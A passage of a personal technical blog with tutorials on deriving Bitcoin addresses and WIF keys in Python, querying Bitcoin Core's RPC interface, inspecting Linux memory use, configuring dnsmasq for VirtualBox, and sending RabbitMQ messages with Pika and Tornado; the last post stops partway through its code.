Again, the change is light for private addresses. There is no compress form for private key, so the only change is to inform that the address is compressed, by adding a compression flag 0x01 after the private key. The format will then be [prefix] [32 bytes private-key] [compression flag: 0x01] [checksum]. With this form, the private key prefix will change from 5 to L or K, as documented on List of address prefixes.

The change in our python code is a one-liner:

if use_compression:
    extprivkey += b'\x01'

# Creating checksum...

Let’s perform a quick check:

$ COMPRESS=1 python create-addr.py 4e7b7fb13697e6940c08d0bd9adefdea127047797bcdea85bb25d8bdd101aa33
Public key: 02ff3a56b2acbfdee1991c637fde89f0419833a1dc2e6f28dbe8ee64a3980b7c5d
Public address: 1LQWpoxq7hAwGu8AXfHG7hWdN9bt9dRnzp
Private key: 804e7b7fb13697e6940c08d0bd9adefdea127047797bcdea85bb25d8bdd101aa3301ffcc81a7
Private WIF address: KyrGe2egaPrAwppagzXQnQeVF13z2BpCtrShRNhcVBkLLDLtgch4

# And with bitcoin-tool:
$ ./bitcoin-tool --input 4e7b7fb13697e6940c08d0bd9adefdea127047797bcdea85bb25d8bdd101aa33 \
                 --input-type private-key --input-format hex --output-type private-key-wif \
                 --output-format base58check --network bitcoin --public-key-compression compressed
KyrGe2egaPrAwppagzXQnQeVF13z2BpCtrShRNhcVBkLLDLtgch4

We are good ! Last step: just add this key to Bitcoin Core and check we are still good.

$ bitcoin-cli importprivkey 'KyrGe2egaPrAwppagzXQnQeVF13z2BpCtrShRNhcVBkLLDLtgch4' 'my-compressed-key' false
$ bitcoin-cli getaddressesbyaccount 'my-compressed-key'
[
  "1LQWpoxq7hAwGu8AXfHG7hWdN9bt9dRnzp"
]
$ bitcoin-cli dumpprivkey '1LQWpoxq7hAwGu8AXfHG7hWdN9bt9dRnzp'
KyrGe2egaPrAwppagzXQnQeVF13z2BpCtrShRNhcVBkLLDLtgch4

Addresses are correct. Don’t forget the false flag or you’ll have to wait 30 minutes for bitcoind to rescan the whole chain!

Script addresses Link to heading

Script addresses, or P2SH addresses were introduced in bip-16 to allow transactions to be sent to a script hash instead of a public key hash. The main difference is that we have to provide a script matching the script hash to spend an output, and then, this provides more security that just using a public key/private key, as we can use more than one key to protect our transaction using OP_CHECKMULTISIG, for example. These addresses are starting with the integer 3 (ex: 3G734WzCrphZxN7afnrbwunZjV8MBqWUUV) and their prefix is 0x05, as set in Bitcoin Core:

        base58Prefixes[PUBKEY_ADDRESS] = std::vector<unsigned char>(1,0);
        base58Prefixes[SCRIPT_ADDRESS] = std::vector<unsigned char>(1,5);
        base58Prefixes[SECRET_KEY] =     std::vector<unsigned char>(1,128);

For information, values for testnet are:

        base58Prefixes[PUBKEY_ADDRESS] = std::vector<unsigned char>(1,111);
        base58Prefixes[SCRIPT_ADDRESS] = std::vector<unsigned char>(1,196);
        base58Prefixes[SECRET_KEY] =     std::vector<unsigned char>(1,239);

I found out a nice article to understand possibilities using P2SH address.

Creating a P2SH address is not that simple than previous ones. We need a script (that we’ll use to create a hash), and its redeemscript (the script that will allow to unlock the transaction).

Let’s use bitcoin-cli to create our address. We need at least a public key, so we will create a legacy address:

$ bitcoin-cli -testnet getnewaddress '' legacy
n2YzkhomdGtLx3x2SZkxwrS14kD9UiMWvR

$ bitcoin-cli -testnet validateaddress n2YzkhomdGtLx3x2SZkxwrS14kD9UiMWvR
{
  "isvalid": true,
  "address": "n2YzkhomdGtLx3x2SZkxwrS14kD9UiMWvR",
  "scriptPubKey": "76a914e6bd86c622cbda7c348e8819021c3b7fa3dd6a7c88ac",
  "ismine": true,
  "iswatchonly": false,
  "isscript": false,
  "iswitness": false,
  "pubkey": "03c09c6ebdebfe02bbbbacd77687e17e5361d07b54efb392e53829edf4f46bd4ee",
  "iscompressed": true,
  "account": "",
  "timestamp": 1509793090,
  "hdkeypath": "m/0'/0'/7'",
  "hdmasterkeyid": "f29391c2b992c59995b7bf978d572d317650cd16"
}

… and then the script address:

$ bitcoin-cli -testnet createmultisig 1 '["03c09c6ebdebfe02bbbbacd77687e17e5361d07b54efb392e53829edf4f46bd4ee"]'
{
  "address": "2NGAz9ShNSXPWBtg9DPvCjxsx6XEr9pnZHs",
  "redeemScript": "512103c09c6ebdebfe02bbbbacd77687e17e5361d07b54efb392e53829edf4f46bd4ee51ae"
}

We case easily parse the redeemscript generated 512103c09c6ebdebfe02bbbbacd77687e17e5361d07b54efb392e53829edf4f46bd4ee51ae:

    51 21 03c09c6ebdebfe02bbbbacd77687e17e5361d07b54efb392e53829edf4f46bd4ee 51 ae
    <OP_TRUE> <push 0x21 bytes> <0x21 bytes of public key> <OP_TRUE> <OP_CHECKMULTISIG>

And we’re done, as our address is 2NGAz9ShNSXPWBtg9DPvCjxsx6XEr9pnZHs ! We can now use that address to retrieve bitcoins, and we’ll have to use the redeemscript (and private key of embedded public key) to unlock our coins.

Let’s update our python code:

# Create script address from this pubkey
# \x51 is OP_TRUE
# \xae is OP_MULTICHECKSIG
public_key = get_public_key(privkey, True)
script = b'\x51' + bytes(chr(len(public_key)), 'ascii') + public_key + b'\x51' + b'\xae'

addr_sha256 = sha256(script)
addr_ripemd160 = ripemd160(addr_sha256)

extended_ripemd160 = prefix_script + addr_ripemd160

check = sha256(extended_ripemd160)
check = sha256(check)

addr = extended_ripemd160 + check[:4]
addr = base58.b58encode(addr)

print("Redeem script: %s" % script.hex())
print("Public script address: %s" % addr)

$ python create-addr.py 34c8fa74bec5bc1bea9c2789cf980d2b6b37d556e7c27127c84bbd7022135a09
...
Redeem script: 512103c09c6ebdebfe02bbbbacd77687e17e5361d07b54efb392e53829edf4f46bd4ee51ae
Public script address: 2NGAz9ShNSXPWBtg9DPvCjxsx6XEr9pnZHs

If you need to spend those, you should refer to this developer example. Also, you can import your private key, and coins will be usable.

bech32 addresses Link to heading

Bech32 was introduced by bip173 for segwit transactions. It uses a new hashing format and is supported since Bitcoin Core 0.16.

Like p2sh addresses above, we will use bitcoin-cli to create an address.

$ bitcoin-cli -testnet getnewaddress '' bech32
tb1qqfx0qelssry58amg9cvnw7m4f8d2jxcynw32ur

$ bitcoin-cli -testnet dumpprivkey tb1qqfx0qelssry58amg9cvnw7m4f8d2jxcynw32ur
cVcoCBFaRipj7J1uCgN5JCqRhoo6XajCE9oeYA1qTxyDWemroVC5

The format is simple to understand. It is composed by a prefix (hrp, human readable part, bc for bitcoin’s mainnet, tb for bitcoin’s testnet), a program version and a witness program. for a simple p2wpkh (pay to witness public key hash), the witness program is simply ripemd160(sha160(compressed public key)). In case of more secure p2wsh address, the witness program will be the sha256-hashed (and not ripemd160(sha256())-hashed!) p2sh script (or redeem script), as described in bip141.

We will need a bech32 implementation. There is a lot of samples for multiple languages in this repository. Generating bech32 address will be simple as just calling the encode function:

# We have downloaded segwit_addr.py script in the current directory.
sys.path.append(os.path.abspath("."))
import segwit_addr

# ... We already have a pubkey defined ...

# Perform sha256 on publickey
addr_sha256 = sha256(pubkey)

# Then, ripemd160 on result
addr_ripemd160 = ripemd160(addr_sha256)

# tb for testnet, bc for mainnet
bc32 = segwit_addr.encode("tb", 0, addr_ripemd160)
print("bech32 (p2wpkh): %s" % bc32)

public_key = get_public_key(privkey, True)
script = b'\x51' + bytes(chr(len(public_key)), 'ascii') + public_key + b'\x51' + b'\xae'

addr_sha256 = sha256(script)

bc32 = segwit_addr.encode("tb", 0, addr_sha256)
print("bech32 (p2wsh): %s" % bc32)

When executing:

$ python create-addr.py cVcoCBFaRipj7J1uCgN5JCqRhoo6XajCE9oeYA1qTxyDWemroVC5
[...]
bech32 (p2wpkh): tb1qqfx0qelssry58amg9cvnw7m4f8d2jxcynw32ur
bech32 (p2wsh): tb1qzhh2d3vjtdhhzpdv6lwufn5surfkgm0880cfqm5lqwa3xl54e0lsm8qhuu

Accessing Bitcoin core RPCs

pm@mkz.me (Patrick MARIE) — Sun, 04 Mar 2018 08:56:27 +0100

Bitcoin Core client is composed of a daemon, bitcoind, a GUI oriented client, bitcoin-qt and a CLI oriented client, bitcoin-cli. bitcoind offerts an JSON-RPC interface over a HTTP socket to perform functions on the wallet, transactions, mempool, etc.

In this post, I’ll quickly show how to access this interface using python and no extra library.

Firstly, you need to set RPC cookie authentification (it is also possible to set a login/password authentification, but this method will soon become obsolete as I’m writing this.). By default, no cookie is defined so one is created randomly at each bitcoind start, and is usable by bitcoin-cli. To be able to use ours, there is a script in Bitcoin Core’s github repository to allow creating login credentials for a JSON-RPC user. This script is named rpcauth.py. Let’s try it:

$ curl -sO https://raw.githubusercontent.com/bitcoin/bitcoin/master/share/rpcauth/rpcauth.py
$ python rpcauth.py rpc
String to be appended to bitcoin.conf:
rpcauth=rpc:3bd32b56fbdc43c8a4685f38a79498f$4432004590c837aafb86bf58962a67bda9f4aea47a3a9c0bd891465e28c44515
Your password:
1yC70vJ8-NPQ9LwFgNMf0VRxiKWavTwVLIPUetZ2kBQ=

You’ll have to add in bitcoin.conf said line, and restart (start) bitcoind:

$ echo 'rpcauth=rpc:3bd32b56fbdc43c8a4685f38a79498f$4432004590c837aafb86bf58962a67bda9f4aea47a3a9c0bd891465e28c44515' >> $HOME/.bitcoin/testnet3/bitcoin.conf
$ /opt/bitcoin/bin/bitcoind -server -testnet -daemon -conf=/home/mycroft/.bitcoin/testnet3/bitcoin.conf
Bitcoin server starting

Please note that I’m using testnet on my examples.

You can test authentification using bitcoin-cli, using -rpcuser and -rpcpassword flags:

$ /opt/bitcoin/bin/bitcoin-cli -testnet -rpcuser=rpc -rpcpassword=aaa listaccounts
error: incorrect rpcuser or rpcpassword (authorization failed)
$ /opt/bitcoin/bin/bitcoin-cli -testnet -rpcuser=rpc -rpcpassword='1yC70vJ8-NPQ9LwFgNMf0VRxiKWavTwVLIPUetZ2kBQ=' listaccounts
{
  "": 64.33773267,
  "testaroo0": 0.00000000
}

We are done for this part! Still have to write some python code to connect & send commands. There is a lot of other ways to reach the API, but in this example I’ll just use raw python with only requests module.

#!/usr/bin/env python

import requests
from requests.auth import HTTPBasicAuth
import json
import sys

class RpcCli:
    """
        Port is 8332 for mainnet, 18332 for testnet
    """
    def __init__(self, username, password, hostname='localhost', port=8332):
        self.username = username
        self.password = password
        self.hostname = hostname
        self.port = port

    def run(self, method='help', params=[]):
        url = "http://%s:%d" % (self.hostname, self.port)
        auth = HTTPBasicAuth(self.username, self.password)
        headers = {'content-type': 'application/json'}

        payload = {
            "method": method,
            "params": params,
            "jsonrpc": "1.0",
            "id": "curltext",
        }

        response = requests.post(
            url, data=json.dumps(payload), headers=headers, auth=auth)

        if response.status_code != 200:
           print(response.reason)
           return None

        result = response.json()['result']
        return self.prettyfy(result)

    def prettyfy(self, content):
        return json.dumps(content, indent=4, sort_keys=True)

    def value(self, content):
        return json.loads(content)

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print("Usage: %s <command> [param1] [param2] ..." % (sys.argv[0]))
        print("Help: %s help" % (sys.argv[0]))
        sys.exit(0)

    cli = RpcCli("rpc", "1yC70vJ8-NPQ9LwFgNMf0VRxiKWavTwVLIPUetZ2kBQ=", port=18332)
    resp = cli.run(sys.argv[1], sys.argv[2:])
    print(cli.value(resp))

This code is pretty much straightforward: We are just doing a http query with authentification headers, and returning the result. Nothing more is required.

Let’s test it:

$ ./rpc-cli.py help
== Blockchain ==
getbestblockhash
getblock "blockhash" ( verbosity )
getblockchaininfo
...
$ ./rpc-cli.py listaccounts
{u'': 64.33773267, u'testaroo0': 0.0}

There is a lot of api calls available. They go from wallet management, to stats, transaction creation, etc. More things can be done through the API than bitcoin-qt. Recently, I’ve sent some custom raw data messages on the testnet blockchain, creating my own custom transaction, in just a few lines of code using that API. I’ll come back later on another article.

This API is also used for mining. Miners like bfgminer can connect to that API as well (if you don’t use a pool/stratum server). Finally, there is some interesting examples in the developers examples wiki page.

Understanding bitcoin addresses (part 1)

pm@mkz.me (Patrick MARIE) — Thu, 01 Mar 2018 07:58:09 +0100

My first post on this journal will be dedicated to Bitcoin addresses. As addresses are in the hearth of Bitcoin’s protocol and softwares (and basically, allowing keeping a lot of coins), they changed a lot in the past decade, supporting multiple formats and with different tools to generate and manipulate them.

On this page, I’ll try to write most information I’ve collected on those the last monthes.

Creating a Bitcoin address Link to heading

At the beginning, a Bitcoin address is simply a representation of a public key generated from a ECDSA secp256k1 private key, and using a small hashing algorithm.

Using Openssl to create a ECDSA secp256k1 private & public key Link to heading

On this Stackexchange post, there is method to create a private/public ECDSA key using openssl tool.

Firstly, let’s create a private key in PEM format.

$ openssl ecparam -genkey -name secp256k1 -rand /dev/urandom -out private.key

Then, its related public key, in PEM format too.

$ openssl ec -in private.key -pubout -out public.pem

As those are PEM files, we need to extract private key bytes in order to use them to be able to import them in Bitcoin core client.

$ BTC_PRIVATE_KEY=$(openssl ec -in private.key -outform DER|tail -c +8|head -c 32|xxd -p -c 32)
$ echo $BTC_PRIVATE_KEY
4e7b7fb13697e6940c08d0bd9adefdea127047797bcdea85bb25d8bdd101aa33

If you need to understand DER format, you can analyze its structure by using openssl asn1parse:

$ openssl ec -in private.key -outform DER | openssl asn1parse -in - -inform DER

(Key is at the 8th byte because we have sequence information, then an integer before reaching our key. Some ASN.1 format knowledge is mandatory!)

Then, grab the public key bytes, but this is optional as you’ll be able to get them again using private key when preparing your Bitcoin address.

$ BTC_PUBLIC_KEY=$(openssl ec -in private.key -pubout -outform DER|tail -c 65|xxd -p -c 65)
$ echo $BTC_PUBLIC_KEY
04ff3a56b2acbfdee1991c637fde89f0419833a1dc2e6f28dbe8ee64a3980b7c5d1fd133fcc43e508def2a630ef9719bcce213c489e9ec70d1d7a9fedb0f3dccc8

Those keys are not yet usable in Bitcoin, but if you are curious enough, you’ll note that this public key & the Bitcoin’s genesis block one are the same format: 65 bytes, starting by 0x04.

Getting our Bitcoin address Link to heading

Public address Link to heading

There is still some work, using the public key we’ve just got, to have a ready to use Bitcoin address. The processus is described right there, but let’s take a deeper look.

Step 0: We have our ECDSA private key Link to heading

In my examples, my private key is 4e7b7fb13697e6940c08d0bd9adefdea127047797bcdea85bb25d8bdd101aa33, and it is a 32 byte key. So far, so good.

Step 1: We also have corresponding public key. Link to heading

In its uncompressed format, our public key is 65 bytes long, and starting by 0x04. Public key also have compressed form, starting by either 0x02 or 0x03, and we will talk about it later. My public key is 04ff3a56b2acbfdee1991c637fde89f0419833a1dc2e6f28dbe8ee64a3980b7c5d1fd133fcc43e508def2a630ef9719bcce213c489e9ec70d1d7a9fedb0f3dccc8.

Step 2: We perform SHA-256 on our private key. Link to heading

SHA-256 hash is a701507ec74fd980a9ce5c1ecdb4622ec962e72ea6133ca6b0ec20d402a89b1a.

Step 3: We now perform RIPEMD-160 on the last result. Link to heading

RIPEMD-160 hash is 134fb77c56423e86aae9d4076d1f4b37bfb6c74c.

Step 4: We need to add network prefix. Link to heading

The network prefix must be added. This prefix is 0x00 for Bitcoin main network, but differs along different networks & testnets. Bitcoin testnet’s is 0x6f, P2SH’s prefix is 0x05, etc. Other coins, such litecoin, have their own set of prefix too. This page has an exhaustive list of Bitcoin’s address prefixes.

Then, our key is now 00134fb77c56423e86aae9d4076d1f4b37bfb6c74c.

Let’s store this somewhere, as we will be using it at the end. Next steps are about creating a checksum of this key for validation purposes.

Step 5: Perform a SHA-256 hash on the latest result Link to heading

SHA-256 hash is ec0b051096187b915374e38fe608121112762133c426a63c97a5de7bad3129dc

Step 6: Again, perform a last SHA-256 hash Link to heading

It is now 83562b05e49caefd2c3c200253d50616e1b46551ceb483f8ed7974cc45778e89

Step 7: Appending first 4 bytes of last checksum to extended RIPEMD-160 key Link to heading

From the last hash computed in step 6, we take the first 4 bytes, 83562b05, and we append to the RIPEMD-160 hash we got at step 4 (the one starting by the network prefix, 0x00).

Our key is now 00134fb77c56423e86aae9d4076d1f4b37bfb6c74c83562b05.

Final step: Encode this key using base58. Link to heading

The key becomes 12m7LTjx5vcx23MeumZuNtAyG3qEcj2rn8. This is our bitcoin address.

Let’s take a deeper look with some real python code. Source code for this script is also available on github.

#!/usr/bin/env python

import base58
import binascii
import ecdsa
import hashlib
import sys

if len(sys.argv) != 2:
    print("Usage: %s <private key in hex format>" % sys.argv[0])
    sys.exit(1)

"""
Using ecdsa primitives, retrieve public key from private key.
"""
def get_public_key(privkey):
    sk = ecdsa.SigningKey.from_string(privkey, curve=ecdsa.SECP256k1)
    vk = sk.verifying_key
    return (b'\04' + sk.verifying_key.to_string())

def sha256(content):
    m = hashlib.new('sha256')
    m.update(content)
    return m.digest()

def ripemd160(content):
    m = hashlib.new('ripemd160')
    m.update(content)
    return m.digest()

privkeyhex = sys.argv[1]
privkey = binascii.unhexlify(privkeyhex)
pubkey = get_public_key(privkey)

# Perform sha256 on publickey
addr_sha256 = sha256(pubkey)

# Then, ripemd160 on result
addr_ripemd160 = ripemd160(addr_sha256)

# And add network byte as a prefix (0x00 on bitcoin's mainnet)
extended_ripemd160 = b'\x00' + addr_ripemd160

# Let's compute hash check on this string, using sha256 twice:
check = sha256(extended_ripemd160)
check = sha256(check)

# Add the first 4 bytes of check at the end of address (extended_ripe160):
addr = extended_ripemd160 + check[:4]

# Perform base58 encode to get final address:
addr = base58.b58encode(addr)

print(addr)

Let’s now run it:

$ ./create-addr.py 4e7b7fb13697e6940c08d0bd9adefdea127047797bcdea85bb25d8bdd101aa33
12m7LTjx5vcx23MeumZuNtAyG3qEcj2rn8

Here we go. We have our brand fresh new bitcoin address (in its 1st version format and uncompressed). There is other formats for this public key: its compressed form, its P2SH (starting by 3) form, and its bech32 (segwit) form. We’ll talk about it later.

Private address Link to heading

Like public address, bitcoin is using its own format for importing/exporting private keys. It’s called the Wallet import format.

Steps to create a WIF from a raw private key are easy.

Step 0: We have our ECDSA private key (again) Link to heading

My private key still is 4e7b7fb13697e6940c08d0bd9adefdea127047797bcdea85bb25d8bdd101aa33.

Step 1: We add the main net prefix for private keys. Link to heading

Like public keys, you’ve to add a prefix. This prefix is 0x80 for mainnet private keys, and 0xef for testnet addresses.

Result is 804e7b7fb13697e6940c08d0bd9adefdea127047797bcdea85bb25d8bdd101aa33

Step 2: Preparing checksum (using SHA-256 twice) Link to heading

Again, let’s run SHA-256 twice on this:

First run 09dce5d2b69be93f0c858e76f0175cb41b58ccc2e28b9f8a533f1daf89cb096d Second run 202f67126771f411cd557e170325e46fec2386ab8cf8a744a49d95f3d5e96e6c

And we note down the first 4 bytes of the last hash.

Step 3: Append 4 first bytes of checksum to prefixed key Link to heading

My private key is now 804e7b7fb13697e6940c08d0bd9adefdea127047797bcdea85bb25d8bdd101aa33202f6712

Final step: Perform base58 encode: Link to heading

My private key in its WIF format is 5JQrJuV2GGbhmbQ1qUzBpu2hPCnzKr85492k9EynCNU37deUgqo.

Just add the following lines to the python script to compute this address:

extprivkey = b'\x80' + privkey

check_privkey = sha256(extprivkey)
check_privkey = sha256(check_privkey)

extprivkey = extprivkey + check_privkey[:4]

privaddr = base58.b58encode(extprivkey)

print("Private WIF address: %s" % privaddr)

You can run it too:

$ ./create-addr.py 4e7b7fb13697e6940c08d0bd9adefdea127047797bcdea85bb25d8bdd101aa33
Public address: 12m7LTjx5vcx23MeumZuNtAyG3qEcj2rn8
Private WIF address: 5JQrJuV2GGbhmbQ1qUzBpu2hPCnzKr85492k9EynCNU37deUgqo

Checking with Bitcoin Core client. Link to heading

It is easy to check this private & public key couple: Just import the private key to Bitcoin Core using debug console or bitcoin-cli. In this sample, we need an up to date Bitcoin Core client.

$ /opt/bitcoin/bin/bitcoin-cli walletpassphrase "my wallet passphrase"
$ /opt/bitcoin/bin/bitcoin-cli importprivkey 5JQrJuV2GGbhmbQ1qUzBpu2hPCnzKr85492k9EynCNU37deUgqo "my-testing-key"
$ /opt/bitcoin/bin/bitcoin-cli getaddressesbyaccount "my-testing-key"
[
  "12m7LTjx5vcx23MeumZuNtAyG3qEcj2rn8"
]
$ /opt/bitcoin/bin/bitcoin-cli dumpprivkey 12m7LTjx5vcx23MeumZuNtAyG3qEcj2rn8
5JQrJuV2GGbhmbQ1qUzBpu2hPCnzKr85492k9EynCNU37deUgqo

As you can see, my private key was correctly imported in Bitcoin core, and I’m able to export its associated public address, and from this public address, my private key!

In a nutshell Link to heading

There is a great tool allowing to manipulate bitcoin addresses. It’s bitcoin-tool on github, and I used it a lot during some of my investigation for debugging purpose. Unfortunately, it is not supporting all addresses types (Pay to script hash, bech32).

This tool allows creating for a private key everything we need, but it is less fun than creating our keys by ourselves!

$ ./bitcoin-tool --network bitcoin --public-key-compression uncompressed \
                 --input 4e7b7fb13697e6940c08d0bd9adefdea127047797bcdea85bb25d8bdd101aa33 \
                 --input-type private-key --input-format hex --output-type all
address.base58:1Gc3y1NC389SvmsrPnjYicvGxZT1
address.base58check:12m7LTjx5vcx23MeumZuNtAyG3qEcj2rn8
public-key-ripemd160.hex:134fb77c56423e86aae9d4076d1f4b37bfb6c74c
public-key-ripemd160.base58:Gc3y1NC389SvmsrPnjYicvGxZT1
public-key-ripemd160.base58check:2m7LTjx5vcx23MeumZuNtAyG3qEcQWUnE
public-key-sha256.hex:a701507ec74fd980a9ce5c1ecdb4622ec962e72ea6133ca6b0ec20d402a89b1a
public-key-sha256.base58:CEvFPLR67K5w9hasgguqXLeCwSp6QbzK5Z6QeH4qQmku
public-key-sha256.base58check:2GYvUfUWbxfMAeBBNSb95tXVf5pG3ravsUsb1TyRyH3nULQzA7
public-key.hex:04ff3a56b2acbfdee1991c637fde89f0419833a1dc2e6f28dbe8ee64a3980b7c5d1fd133fcc43e508def2a630ef9719bcce213c489e9ec70d1d7a9fedb0f3dccc8
public-key.base58:SaQCjQrh5LxRhJt2y73knCW4QDRRM3NtCVY28zLf9JmmcsJscSLy1uJ3qDAPy3TS9AsmCv1o4GAFSMxS5kJLJ6g7
public-key.base58check:3tMr7x4xAQEFLCzGnRT8unap35ZAh8squKYT4oZuSHPXJ6FHzrNApBfHSB4XgRqh944tLMLta5PbYpqTbPkaLTLE5CmEFp
private-key-wif.hex:804e7b7fb13697e6940c08d0bd9adefdea127047797bcdea85bb25d8bdd101aa33
private-key-wif.base58:f7fuTteYWo2mxZvRsfFXjyr9cxXAUxSej5GtceXszKJPt
private-key-wif.base58check:5JQrJuV2GGbhmbQ1qUzBpu2hPCnzKr85492k9EynCNU37deUgqo
private-key.hex:4e7b7fb13697e6940c08d0bd9adefdea127047797bcdea85bb25d8bdd101aa33
private-key.base58:6HN2MgKjAzPbZNCQanooDbUryJo7bocdAknzUdDkDNta
private-key.base58check:bZjE2wBp2iWb1joHYHjrHaAby57iFzLKxxv4w2xVcPx66KR9j

What’s next ? Link to heading

There is still a lot to say about Bitcoin’s addresses:

compressed keys;
P2SH addresses;
bech32 addresses;
deterministic keys.

I’ll write about these in a next post!

Reading memory information under Linux systems

pm@mkz.me (Patrick MARIE) — Sat, 15 Jun 2013 13:24:00 +0000

Introduction Link to heading

Just a few notes about how to get informations how memory on linux, and common tools to read them.

Consultation Link to heading

It’s possible to read about memory use under linux by multiple ways: /proc/meminfo, free, vmstat, top…

Those tools allow to get information about physical memory as virtual memory.

Firstly, we can get general infos reading /proc/meminfo or using free:

$ cat /proc/meminfo
MemTotal:        8058060 kB
MemFree:          757660 kB
Buffers:          401752 kB
Cached:          2958380 kB
SwapCached:       162336 kB

MemTotal: Total usable ram (i.e. physical ram minus a few reserved bits and the kernel binary code)
MemFree: Is sum of LowFree+HighFree (overall stat)
Buffers: Memory in buffer cache
Cached: Memory in the pagecache (diskcache) minus SwapCache (Doesn’t include SwapCached though)
SwapCached: Memory that once was swapped out, is swapped back in but still also is in the swapfile

$ free -m
             total       used       free     shared    buffers     cached
Mem:          7869       7106        763          0        392       2893
-/+ buffers/cache:       3820       4048
Swap:         8073        601       7472

Then, we have to understand the top output:

top - 11:11:11 up 23 days, 17:37, 10 users,  load average: 0.18, 0.16, 0.18
Tasks: 356 total,   1 running, 307 sleeping,   0 stopped,  48 zombie
%Cpu(s):  2.3 us,  1.4 sy,  0.0 ni, 96.3 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem:  16314188 total, 13358168 used,  2956020 free,   532416 buffers
KiB Swap: 16658428 total,      444 used, 16657984 free.  9372752 cached Mem

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
18228 mycroft   20   0 1469652 398888  93480 S   5.0  2.4  81:13.74 chromium-browse
18183 mycroft   20   0 1426144 249424  94916 S   4.3  1.5  77:29.87 chromium-browse
 2124 root      20   0  365924  90976  56240 S   2.6  0.6 488:25.19 Xorg
18437 mycroft   20   0 1336024 364608  37372 S   1.7  2.2  34:40.92 chromium-browse

Virtual: Virtual memory allocated, including all code, data and shared libraries
Resident: Non swapped physical memory
Shared: Amount of memory available potentially shared with other proccesses

vmstat reports virtual memory statistics:

$ vmstat 5
procs -----------memory---------- ---swap-- -----io---- -system-- ----cpu----
 r  b   swpd   free   buff  cache   si   so    bi    bo   in   cs us sy id wa
 1  0 615740 831376 401696 2970016    2    2    87   139   41   39  4  4 92  1
 0  0 615740 833200 401696 2967316    0    0     0    15  853 1576  3  2 95  0
 0  0 615740 832860 401696 2967932    0    0     0    83  704 1239  3  1 96  0
 0  0 615740 837280 401696 2963756    0    0     0    92  864 1362  2  1 97  0

Les noyaux Linux récents fournissent un mécanisme pour que le noyau libère certains éléments stockés en mémoire à la demande, ce qui permet de libérer une partie de la mémoire. Pour cela, il faut utiliser le fichier /proc/sys/vm/drop_caches:

Recent linux kernels provide a mechanism to drop the page cache, inodes and dentry caches, which can free up a lot of memory, using virtual file /proc/sys/vm/drop_caches:

To free pagecache:

# echo 1 > /proc/sys/vm/drop_caches

To free dentries and inodes:

# echo 2 > /proc/sys/vm/drop_caches

To free pagecache, dentries and inodes:

# echo 3 > /proc/sys/vm/drop_caches

These operations are non destructive and will only free non used things. Think to sync to flush I/O buffers before, and you may free more memory.

Source

Finding out what processes are swapping Link to heading

More recently, I needed to find out what processes had some memory stored in swap (which is way slower than RAM).

The swap information for each processes can also be found in /proc/<pid>/status:

$ cat /proc/$$/status | grep VmSwap
VmSwap:        0 kB

A few more links about memory Link to heading

VirtualBox and external dhcp management with dnsmasq

pm@mkz.me (Patrick MARIE) — Thu, 18 Apr 2013 13:28:00 +0000

I use VirtualBox like many for my development VMs. One of mine problems with VirtualBox is, sometimes, that we want to manage their IPs in a more complex fashion than what’s possible with its internal DHCP server (when using “host-only” interfaces), mostly because it doesn’t allow statc IP configuration.

It’s possible to disable this DHCP server and use another server, like dnsmasq. This DHCP server, which also is a DNS forwarder, is very light and can be installed on a developement server without bothering local network.

Configuration I use for my VMs is the following:

Network/Adapter1: Attached to NAT;
Network/Adapter2: Host-only Adapter; Name: vboxnet0

First step is to disable VirtualBox’s DHCP server. You can do this in the VirtualBox GUI or using the command line:

# VBoxManage list dhcpservers
NetworkName:    HostInterfaceNetworking-vboxnet0
IP:             192.168.56.100
NetworkMask:    255.255.255.0
lowerIPAddress: 192.168.56.101
upperIPAddress: 192.168.56.254
Enabled:        Yes

# VBoxManage dhcpserver remove --netname HostInterfaceNetworking-vboxnet0

# VBoxManage list dhcpservers
#

You’ll have to reboot all VMs to make sure this setting is considered. Unless this, the old DHCP server will still work and will provide an answer before dnsmasq.

Then, we can install dnsmasq, enable its DHCP server and only bind it on the VirtualBox’s vboxnet0 network interface (that manages “host-only” adapters).

# apt-get install dnsmasq
[...]

And modify the /etc/dnsmasq.conf configuration file:

interface=vboxnet0
dhcp-range=192.168.56.100,192.168.56.132
dhcp-host=08:00:27:5d:47:c9,192.168.56.133

Finally, start dnsmasq:

# service dnsmasq start
 * Starting DNS forwarder and DHCP server dnsmasq                        [ OK ] 
#

We’ll check it works correcly by reading logs on the host and on the guest:

# tail -f /var/log/syslog
Jun 16 11:27:46 lambda dnsmasq-dhcp[16074]: DHCPDISCOVER(vboxnet0) 192.168.56.101 08:00:27:5d:47:c9 
Jun 16 11:27:46 lambda dnsmasq-dhcp[16074]: DHCPOFFER(vboxnet0) 192.168.56.133 08:00:27:5d:47:c9

For more information about dnsmasq, check Dnsmasq page on Ubuntu’s website.

Sending/recieving events through Rabbitmq with Pika & Tornado

pm@mkz.me (Patrick MARIE) — Tue, 16 Oct 2012 10:02:00 +0000

Rabbitmq is very usefull when moving messages between 2 or more apps.

It’s possible to use Rabbitmq with Python by using the Pika module. Pika allows sending messages in synchronous or asynchronous fashions.

When recieving, it’s also possible to use Pika, and we’ll use Tornado to manage those messages in event mode.

Installing Pika & Tornado:

$ pip install pika
...
$ pip install tornado
...

Following code snippets shows up how to send messages using a producer and to recieve them with a consumer.

Producer Link to heading

#!/usr/bin/env python

import pika, sys

connection = pika.BlockingConnection(pika.ConnectionParameters('localhost'))
channel = connection.channel()

exchange = channel.exchange_declare(exchange='my_exchange', exchange_type='direct')

channel.queue_declare(queue="t1",
                      durable=True,
                      exclusive=False,
                      auto_delete=False)
channel.queue_declare(queue="t2",
                      durable=True,
                      exclusive=False,
                      auto_delete=False)

channel.queue_bind(queue='t1',
                   exchange='my_exchange',
                   routing_key='my_routing_alpha')

channel.queue_bind(queue='t2',
                   exchange='my_exchange',
                   routing_key='my_routing_beta')

for i in range(1):
    message="Hello World!"
    channel.basic_publish(exchange='my_exchange',
                          routing_key='my_routing_beta',
                          body=message)

    print " [x] Sent '%s'" % message

connection.close()

Running it:

$ ./prod.py
 [x] Sent 'Hello World!'
No handlers could be found for logger "pika.adapters.base_connection"
(env)mycroft@dev:~/dev/python-mq$ sudo rabbitmqctl list_queues
Listing queues ...
t2      1
t1      0
...done.

Consumer Link to heading

#!/usr/bin/env python

import tornado
from pika.adapters.tornado_connection import TornadoConnection
import logging
logging.basicConfig()

class Client(object):
    def __init__(self, queue_name = "default"):
        self.queue_name = queue_name

    def connect(self):
        self.connection = TornadoConnection(on_open_callback=self.on_connected)

